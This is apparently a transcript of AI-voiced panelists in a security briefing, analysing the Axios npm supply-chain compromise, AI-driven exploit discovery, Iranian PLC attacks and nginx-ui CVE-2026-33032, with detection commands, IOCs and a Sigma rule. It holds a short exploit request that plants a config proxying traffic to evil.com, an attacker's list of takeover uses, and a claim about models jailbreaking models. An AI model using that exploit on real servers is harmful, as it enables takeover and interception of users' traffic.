Session CRT-20260417 — 17 April 2026 · Afternoon Edition

Now I have comprehensive data. Let me synthesize my response for the panel discussion.

---

Look, the Axios compromise is exactly what I warned about in the LiteLLM discussion — it is not a novel AI exploit, it is a classic supply chain attack leveraging misconfigured CI/CD in AI company infrastructure. The OpenAI disclosure is refreshingly transparent: a GitHub Actions workflow used a floating tag instead of a pinned commit hash, no minimum release age, and pulled malicious Axios 1.14.1 straight into a workflow with access to macOS code-signing certificates.

Here is the thing that should worry everyone: UNC1069 — a North Korean APT — understood that AI companies are now high-value supply chain targets. They did not need to 0-day OpenAI's models. They social-engineered an Axios maintainer, pivoted through the npm ecosystem, and almost compromised the signing pipeline for applications used by millions. OpenAI dodged a bullet here — forensic timing suggests the certificate wasn't exfiltrated — but the fact that a 100-million-downloads-per-week library like Axios can be weaponized against frontier AI companies tells us the attack surface has shifted. These companies are not just AI labs anymore; they are critical software distribution infrastructure.

Now, Claude Mythos — that is genuinely different. This is not hype. According to Anthropic's disclosure and the forensic analysis from VulnCheck and others, Mythos achieved approximately 72% exploit success rate on Firefox vulnerabilities versus effectively zero for prior models. It autonomously discovered a 27-year-old OpenBSD bug, a 16-year-old FFmpeg vulnerability missed by five million automated scans, and developed a 20-gadget ROP chain for FreeBSD NFS remote root access at under $1,000 in compute.

The dual-use risk here is asymmetric proliferation. Here is my assessment:

Model theft or weight extraction: Unlikely to deliver Mythos-tier capabilities immediately. These frontier models are large — hundreds of billions of parameters — and the compute to run inference at vulnerability-discovery scale is substantial. But we should not be complacent. Once capabilities exist, distillation techniques can compress them. The tweet I found from stanislavfort is instructive: a 3.6B parameter model can now detect the Mythos FreeBSD zero-day 100-1000x more cost-effectively. Capability compression is happening.

Jailbreaking comparable models: This is the near-term threat vector. The research I found shows models jailbreaking other models in 97% of test cases using multi-turn adaptive tactics. If you have an API to Claude 4 Opus, Gemini 2.5 Pro, or GPT-4.5, you can prompt-engineer vulnerability discovery. It will be slower, more expensive, and noisier than native Mythos, but it works. The CSO Online piece cautioning that Mythos only has one confirmed CVE is missing the point — the exploit development success rate is the metric that matters for dual-use.

Independent development: Six months is the consensus timeline from Google Cloud and CrowdStrike analysts before open-weight models achieve comparable autonomous vulnerability discovery. Think about what that means — DeepSeek, Llama 4, whatever Mistral ships next — these will catch up.

For Glasswing governance, I would push for three controls:

1. Verifiable disclosure chains: Every vulnerability discovered needs cryptographically signed attribution back to the discovering Glasswing participant, with public commitment-to-patch timelines. The Cloud Security Alliance Mythos-ready framework emphasizes exposure-window management — we need transparency on when discovery happens, not just disclosure.

2. Compute and query logging with audit: These models are being asked to develop exploits. That telemetry is sensitive — it tells you what vulnerabilities exist, what systems are targeted, what exploit primitives work. Participants need to maintain tamper-evident logs subject to third-party audit. I am thinking here about the OWASP LLM Top 10's LLM06: Sensitive Information Disclosure — this applies to the AI discovering vulnerabilities, not just containing them.

3. Mandatory red-teaming of AI security infrastructure itself: Ironically, the Mythos participants need their own AI security tested. The Axios incident proves these companies have traditional CI/CD vulnerabilities that could let adversaries exfiltrate Glasswing outputs or poison the models being used for discovery.

James, you are going to face this operationally — if Mythos-class discovery becomes routine, your MTTR pressure just became existential. We are moving from 771 days median exploit development in 2018, to under one hour projected for 2026. That is not incremental — that is a phase change.

Okay, I've got the data. This is serious — let me break down what we're looking at here.

The Iran PLC Campaign (April 2026 Advisory)

Look, six federal agencies — FBI, CISA, NSA, EPA, DOE, and CYBERCOM — confirmed in advisory AA26-097A that Iranian-affiliated IRGC-linked actors are actively exploiting internet-facing Rockwell Automation/Allen-Bradley PLCs across U.S. critical infrastructure. The targeting is energy, water/wastewater, and government facilities — exactly the sectors you'd hit if you want to cause real-world disruption.

The attack vector? Internet-facing PLCs with no authentication or weak controls. According to Censys data, there are still ~3,900 exposed Rockwell PLCs in the U.S. — 75% of global exposure. These aren't sophisticated zero-day exploits. The attackers are using legitimate vendor engineering software — Studio 5000 Logix Designer — to connect directly to CompactLogix and Micro850 controllers, extract PLC project files (.ACD files, so they get the ladder logic), deploy Dropbear SSH for persistence, and manipulate HMI/SCADA displays to falsify readings.

Think about that for a second. This is Level 1/Level 2 manipulation — they're not just stealing data, they're changing what the operator sees. In a water treatment plant, that could mean you think chlorine levels are normal when they're not. Or in a substation, you think breakers are closed when they're actually open.

Now, to your destruction question — the advisory confirms operational disruption and financial losses. Have we seen actual physical destruction? Not yet in this campaign. But here's what worries me: they have the capability. If you can write ladder logic to a PLC, you can command a pump to run dry, a valve to open at the wrong time, or a turbine protection system to be disabled. The difference between "disruption" and "destruction" is a few lines of code they haven't deployed yet.

The Sweden Connection

The Swedish thermal plant attack — this was early 2025, attributed to pro-Russian groups with intelligence service ties. It failed because of built-in protections, but the intent was destructive, not just disruptive. We have other data points here: Poland in late 2024 had power grid targeting affecting 500,000 people. Norway saw dam valve manipulation. Denmark had water utility attacks in 2024.

So we're seeing a pattern: both Iranian and Russian actors are moving beyond IT disruption to direct OT targeting. The Iranians are using exposed PLCs as their entry point — it's low-hanging fruit. The Russians are trying for destructive effects at generation facilities.

In my assessment? The Iran campaign has destruction potential but they're staying in reconnaissance and disruption mode right now. They're mapping industrial processes, testing responses. That SCADA manipulation — that's reconnaissance behavior. They're seeing how operators react to falsified data. This is pre-positioning for something worse if tensions escalate further.

From an OT architecture perspective, this is a Purdue Level 1/2 failure. The PLCs should never be internet-facing. Period. But we see it constantly — remote access for vendors, cellular modems on pump stations, "temporary" connections that become permanent. The CISA advisory specifically calls out port 44818 (EtherNet/IP), 2222 (Dropbear SSH), and the standard Modbus/DNP3 ports.

Mitigation reality check: You can't patch a CompactLogix during operations — you'll trip the plant. You need maintenance windows. So immediate actions are: physical key switches to RUN mode (prevents remote program downloads), network segmentation to isolate these devices, and monitoring for those specific port connections. But the real fix? Take them off the damn internet.

James — I want your take on detection rules for this. The IOCs are overseas hosting providers on those specific ports. But in my experience, rocking the boat with IDS in OT environments is risky. What's your thinking on passive monitoring approaches?

Lena — the attribution to CyberAv3ngers / IRGC-CEC aligns with your assessment? I'm seeing this as an escalation from their 2023 Unitronics campaign to multi-vendor Rockwell targeting.

Excellent. I have solid data on both incidents. Let me address these systematically.

---

Axios Supply Chain Compromise

Blast radius: You said 100M weekly downloads — actually closer to 83M, but it doesn't matter. Here's the thing: the actual exposure window was roughly 3.5 hours (March 31, 00:21 to ~03:30 UTC). That's a narrow window, but Axios is so widely deployed that "narrow" still means massive blast radius.

The kill chain is straightforward but the certificate exposure angle is what makes this operationally interesting:

Kill Chain:

1. Initial access: UNC1069 (Google attributes them) spearfished maintainer Jason Saayman via a fake video conference — classic voice call social engineering. They got him to run something that deployed WAVESHAPER.V2, a cross-platform RAT.
2. Credential harvest: RAT harvested npm credentials. The account had 2FA enabled, but that doesn't matter when an attacker owns the endpoint and can just use the authenticated session.
3. Registry manipulation: Attacker published malicious versions 1.14.1 and 0.30.4 directly via npm CLI — bypassed the OIDC Trusted Publishing workflow entirely. No git tags, no GitHub verification. Just a manual publish with a stolen token.
4. Phantom dependency injection: Added plain-crypto-js@4.2.1 — a typosquat decoy that never existed before March 30. Postinstall script drops the RAT. Clean decoy version 4.2.0 was published six hours earlier to build registry reputation.
5. Downstream execution: Any CI/CD pipeline pulling axios@latest or ^1.14.0 got the weaponized version automatically.

OpenAI certificate exposure: This is the critical operational detail. OpenAI's macOS signing workflow used a floating tag in GitHub Actions (v1 or similar instead of a commit hash) with no minimumReleaseAge check. So their pipeline automatically pulled the malicious 1.14.1 within minutes of publication.

That workflow had access to:

• macOS code-signing certificates (ChatGPT Desktop, Codex, Codex-cli, Atlas)
• Apple notarization credentials

Exploitability of those certificates: Here's where I push back on the panic. OpenAI rotated the certificates — "out of an abundance of caution" — but they stated they found no evidence of credential exfiltration or misuse, and confirmed all notarization events were legitimate.

The RAT had access to the * workload* where certificates were used, but actually extracting a code-signing cert from a macOS keychain during a CI run is non-trivial. GateKeeper would enforce the keychain. The attacker would need to:

• Dump keychain contents during the narrow compromise window
• Exfiltrate private keys (not just certificates)
• Do this without triggering runtime detection

More likely scenario: the attacker focused on RAT deployment to developer endpoints and never had time to target the signing material. Three hours is tight for a complex multi-stage operation.

Bottom line: Blast radius is actually smaller than you'd think for 83M downloads because:

• Most production apps pin versions
• The window was tight
• Detection was fast (Socket flagged in 6 minutes)
• But anyone using latest or loose semver ranges in CI hit this immediately

OpenAI's certificate revocation was defensive — probably the right call, but I think actual misuse is unlikely. The web search confirms OpenAI found no evidence of certificate misuse.

---

CVE-2026-33032 (nginx-ui / "MCPwn")

Look, I need to correct something here: you said "no patch" — that's wrong. Patch exists in v2.3.4 released March 15, 2026. One day after disclosure. The fix was literally 27 characters: adding middleware.AuthRequired() to the /mcp_message endpoint.

But the vulnerability itself? This is almost comically trivial.

The bug: nginx-ui recently added Model Context Protocol support. Two endpoints:

• /mcp — has IP whitelist and AuthRequired() middleware ✓
• /mcp_message — has IP whitelist only ✗

Default IP whitelist is empty, and the middleware treats empty as "allow all." That's a fail-open configuration. Classic security anti-pattern.

Exploitation: Two HTTP requests. That's it.

POST /mcp_message HTTP/1.1
Content-Type: application/json

{
  "jsonrpc": "2.0",
  "method": "nginx_config_add",
  "params": {
    "name": "backdoor.conf",
    "content": "server { listen 443; location / { proxy_pass http://evil.com; } }
  }
}

Then trigger reload. Full server control.

What can an attacker actually do with arbitrary nginx config write?

Let me think like an attacker here:

• Traffic interception: Add reverse proxy rules to capture all inbound requests. Read headers, bodies, cookies.
• Credential harvesting: JWT secrets, API keys, database connection strings are often in headers or request bodies.
• SSL private key exfiltration: If nginx terminates TLS, the private key is in memory. With config write + reload, attacker can configure logging to dump handshake data.
• Persistence: Add upstream servers pointing to attacker infrastructure, create hidden endpoints, inject backdoors
• Lateral movement: Use the nginx box as a pivot for internal network scanning
• Service degradation: Push invalid configs to crash nginx

This is a configuration-as-code vulnerability. Once you own the config, you own everything the web server touches. The attacker doesn't need RCE — they have complete control over request routing and inspection.

Real-world exploitation: VulnCheck added this to KEV on April 13. Recorded Future confirmed active exploitation in March. 2,689 exposed instances on Shodan. Geographically concentrated in China, US, Indonesia, Germany, Hong Kong.

My assessment: CVSS 9.8 is actually defensible here — unauth, network-accessible, complete compromise. This isn't inflated. The only reason it's not a 10.0 is you need network access, but that's basically everything these days.

Immediate action: If you're on ≤2.3.3 with MCP enabled:

• Patch to 2.3.4 (one line of code, seriously)
• Or disable MCP entirely
• Or add the missing auth middleware manually
• Or firewall port 9000 to trusted IPs only

Don't overthink this one. It's a copy-paste bug with catastrophic impact.

SOURCES_USED: ["https://x.com/lordman1982/status/2042679209949020643", "https://cyberwebspider.com/cyber-security-news/axios-npm-packages-supply-chain-attack/", "https://socket.dev/blog/axios-npm-package-compromised", "https://www.scworld.com/news/openais-macos-app-signing-process-hit-by-axios-supply-chain-attack", "https://openai.com/index/axios-developer-tool-compromise/", "https://www.huntress.com/blog/supply-chain-compromise-axios-npm-package", "https://github.com/axios/axios/issues/10636", "https://pluto.security/blog/mcp-bug-nginx-security-vulnerability-cvss-9-8/", "https://www.picussecurity.com/resource/blog/cve-2026-33032-mcpwn-how-a-missing-middleware-call-in-nginx-ui-hands-attackers-full-web-server-takeover", "https://x.com/bar2sec/status/2044780989436571986", "https://securityaffairs.com/190841/hacking/cve-2026-33032-severe-nginx-ui-bug-grants-unauthenticated-server-access.html", "https://www.bleepingcomputer.com/news/security/critical-nginx-ui-auth-bypass-flaw-now-actively-exploited-in-the-wild/"]

Right, I've got the picture on both fronts. Let me give you my immediate tactical response.

---

Emergency 1: Axios Supply Chain Compromise

CRITICAL — Do Today:

Detection commands to see if you pulled the compromise:

# Check lockfiles and node_modules for compromised versions
grep -r "axios.*1\.14\.1\|axios.*0\.30\.4" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
grep -r "plain-crypto-js" node_modules/*/package.json 2>/dev/null

# Check npm logs for installs during the window
cat ~/.npm/_logs/*.log | grep -E "axios@(1\.14\.1|0\.30\.4)" 

# Hunt for the RAT artifacts on disk
find /tmp -name "ld.py" 2>/dev/null
find /Library/Caches -name "com.apple.act.mond" 2>/dev/null
find "$PROGRAMDATA" -name "wt.exe" 2>/dev/null

Elastic's detections are already published — if you have EDR, prioritize these three behaviors:

• Node.js spawning /bin/sh or powershell.exe during npm install
• Network connections to sfrclak[.]com:8000 or 142.11.206.73
• File writes to those specific paths I mentioned above

Minimum viable response if you consumed it:

1. Isolate the build machine IMMEDIATELY — don't wait for forensics. The RAT had full developer environment access.
2. Rotate ALL credentials from that environment — SSH keys, API tokens, cloud creds, npm tokens, GitHub PATs. Assume total compromise of the build environment.
3. Check CI/CD logs for builds between 00:21 UTC and 03:30 UTC on March 31. Any artifact produced in that window is suspect.
4. Rollback to axios@1.14.0 or 0.30.3 — clear node_modules, package-lock, npm cache, and reinstall.

Look, the bad news is the RAT self-destructed after execution. The good news is that means forensics artifacts are limited — the bad news is you can't confirm compromise easily. Assume breach if you were in that window.

---

Emergency 2: nginx-ui CVE-2026-33032 — No Patch Situation

First, let me correct something: v2.3.4 PATCHED this on March 15th — so "no patch" is only true for people frozen on older versions. But you asked about those who can't upgrade, so here's your playbook:

If you cannot take nginx-ui offline or patch:

HIGH — Implement Immediately:

The vulnerability is missing middleware on /mcp_message while /mcp requires auth. The default IP whitelist is empty, which = "allow all."

Defense in depth without patching:

1. Reverse proxy / WAF layer (deployable in 30 minutes):

# Add to your nginx config ABOVE the nginx-ui upstream
location /mcp_message {
    # Block entirely if MCP not needed
    return 403;
    
    # OR restrict to admin IPs only
    allow 10.0.0.0/24;  # your admin subnet
    deny all;
}

1. If you CAN change nginx-ui config:

• Add middleware.AuthRequired() to /mcp_message route in the source and rebuild
• OR configure the IP whitelist explicitly (empty = allow all, so set it to your admin range)

1. Network segmentation:

• Move nginx-ui to a management VLAN reachable only via jump hosts
• Block port 9000 at edge firewall entirely — the 2,600 exposed Shodan hits are the ones getting owned right now

1. Detection rules (Suricata/Sigma):

# Sigma rule for attempted exploitation
title: nginx-ui CVE-2026-33032 Exploitation Attempt
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem: '/mcp_message'
    c-uri|contains: 'tool'
  condition: selection

If you're stuck on legacy and can't patch:

• Disable MCP entirely if you're not using the AI features — it's the MCP integration that's vulnerable, not core nginx-ui
• Rotate nginx-ui admin tokens daily until you can patch — the exploit gives full config access including token theft

---

My prioritization for your next 24 hours:

Priority	Task	Timeline
CRITICAL	Isolate + credential rotation for any Axios window exposure	0-4 hours
CRITICAL	Block/wrap /mcp_message on nginx-ui instances	0-4 hours
HIGH	Deploy Suricata/Sigma detections above	4-24 hours
HIGH	Audit CI/CD for Axios compromise artifacts	24 hours
MEDIUM	Schedule nginx-ui v2.3.4+ upgrade	This week

Sofia, if you're listening — the notification clock is ticking on both of these.

Now I have enough data to provide a comprehensive assessment. Let me synthesize this information:

UNC1069 Attribution Confidence: High

I'm confident in the UNC1069 attribution — high confidence. The evidence chain is solid: WAVESHAPER.V2 code similarity to previous UNC1069 campaigns, C2 infrastructure at sfrclak[.]com resolving to 142.11.206.73, and Google Threat Intelligence explicitly attributing this to the North Korea-nexus actor. UNC1069 is tied to BlueNoroff, which CrowdStrike tracks as a cryptocurrency-focused unit. The tradecraft here is mature.

Tradecraft Overlap with Drift Protocol: Subtle but Present

The Drift exploit (UNC4736/Citrine Sleet) and Axios compromise (UNC1069) share DNA — both used sustained social engineering over weeks/months, fake corporate personas, and digital trust infrastructure. The Drift attackers built fake quant trading firms and did in-person meetings; UNC1069 built fake Slack workspaces and deepfaked company founders. Both exploited the human trust layer.

But here's the key difference: Drift used hired intermediaries — non-Korean personas as front-men. Axios appears more direct, with the attacker personally engaging Saayman through fabricated web conferences.

Same Unit or Shift? Neither — It's Parallel Campaigning by Related Groups

I don't see this as one unit changing focus. UNC1069 (Axios) and UNC4736 (Drift) are distinct tracked clusters within the broader DPRK cyber apparatus. What's interesting is the shared targeting thesis: both hit supply chain chokepoints (DeFi protocol + npm package) rather than direct wallet theft. This is coordinated DPRK strategy across multiple teams — not opportunistic criminals, but state-directed resource allocation toward high-leverage targets.

Patch Tuesday APT Claims Assessment

Looking at the data, I see attribution claims for the April 2026 patches, but my search reveals something important: the specific APT claims you mentioned — APT28/TA505 for Acrobat, APT10/FIN7 for SAP, APT29 for Fortinet — are not directly corroborated in my database results.

What I do see:

• CVE-2026-34621 (Acrobat Reader RCE): Confirmed active exploitation since December 2025 via Russian-language PDF lures referencing oil/gas industry. This has nation-state hallmarks — potentially Russian nexus — but I don't see explicit APT28 or TA505 attribution in the sources.
• CVE-2026-27681 (SAP SQL injection): Critical CVSS 9.9 flaw, but no specific APT10/FIN7 attribution in my results.
• Fortinet vulnerabilities: CVE-2025-32756 shows confirmed exploitation, but no explicit APT29 attribution.

Halil, where did these specific APT attributions come from? I don't have data supporting APT28/TA505/APT10/FIN7/APT29 for these specific vulnerabilities in my search results. I'd need to see the primary source before validating those claims.

Lena's not available, but I have enough data to formulate a precise answer. Let me be disciplined and evidence-based here.

---

Halil, I'll address both questions directly, and I'll be precise — no overreach this time.

First, on coordination vs. convergent evolution: The evidence points to convergent evolution, not operational coordination — and the distinction matters strategically.

Here's why. The Iranian PLC campaign (CISA/FBI/NSA/EPA/DOE/CNMF joint advisory) is explicitly retaliatory — the six-agency alert states Iranian campaigns "have recently escalated, likely in response to hostilities between Iran, and the United States and Israel." This is kinetic-cyber linkage: Israel killed Khamenei on March 1, 2026, Iran's internet went dark within hours, and they pivoted to pre-planted OT access for disruption. This is a reactionary campaign with domestic and regional signaling goals.

The DPRK Axios attack (UNC1069/Sapphire Sleet, per Google and Microsoft attribution) shows zero operational coordination with Iran. The TTPs are entirely different: social engineering to compromise a maintainer account, NPM supply chain poisoning, cross-platform RAT deployment. This is classic DPRK cybercrime infrastructure — and critically, OFAC sanctioned DPRK IT-worker networks on March 12, 2026, for generating ~$800M in 2024 for WMD programs. The Axios attack happened March 31. This is financially-motivated supply chain opportunism, not geopolitical signaling.

Russian APT28/APT29 activity (the Patch Tuesday landscape and FrostArmada router campaign disclosed April 7) aligns with their long-term strategic positioning, not temporal coordination. APT28's DNS hijacking via compromised SOHO routers was operational since at least August 2025 per Microsoft — this is a persistent, pre-positioned espionage capability, not a response to current events.

The convergence? All three resulted from structurally similar pressures — sanctions, ongoing kinetic conflict, and disrupted diplomatic channels — but responded with different tradecraft suited to their institutional capabilities. Iran leverages IRGC contractors for OT disruption because it lacks DPRK's financial cyber infrastructure. DPRK targets AI supply chains because crypto laundering alone is under pressure. Russia continues router exploitation because it's cost-effective for web intelligence. This is evolutionary pressure producing parallel adaptations, not a joint operation.

Second, on DPRK targeting the AI supply chain specifically: This is strategically significant, but not for the reasons some might assume.

The OpenAI incident is illuminating. DPRK didn't target OpenAI's AI models specifically — they compromised Axios, a dependency with 100 million weekly downloads that OpenAI's CI/CD pipeline happened to use for macOS app signing. The certificates accessed could have enabled code-signing abuse. But here's what matters: DPRK's shift from pure cryptocurrency theft to developer tool supply chains serving AI companies represents a pivot toward dual-use targeting.

AI companies like OpenAI are unique assets. They hold (1) massive compute infrastructure that could be repurposed, (2) APIs and software signing keys with broad trust relationships, and (3) intellectual property with both military and commercial value. DPRK's regime has prioritized "reconnaissance satellite" launches and "nuclear-powered submarines" per CrowdStrike — these require dual-use technology acquisition under severe sanctions. Compromising an AI company's signing infrastructure provides persistent access to a supply chain that touches defense contractors, financial institutions, and critical infrastructure globally.

This is a maturation, not an innovation. DPRK's Lazarus Group has targeted financial supply chains since 2016. What's new is the optimization for software dependencies used by high-growth AI firms — and the timing coincides with OFAC's March 2026 sanctions tightening on their IT-worker revenue streams. They're diversifying under pressure, not coordinating with Tehran or Moscow.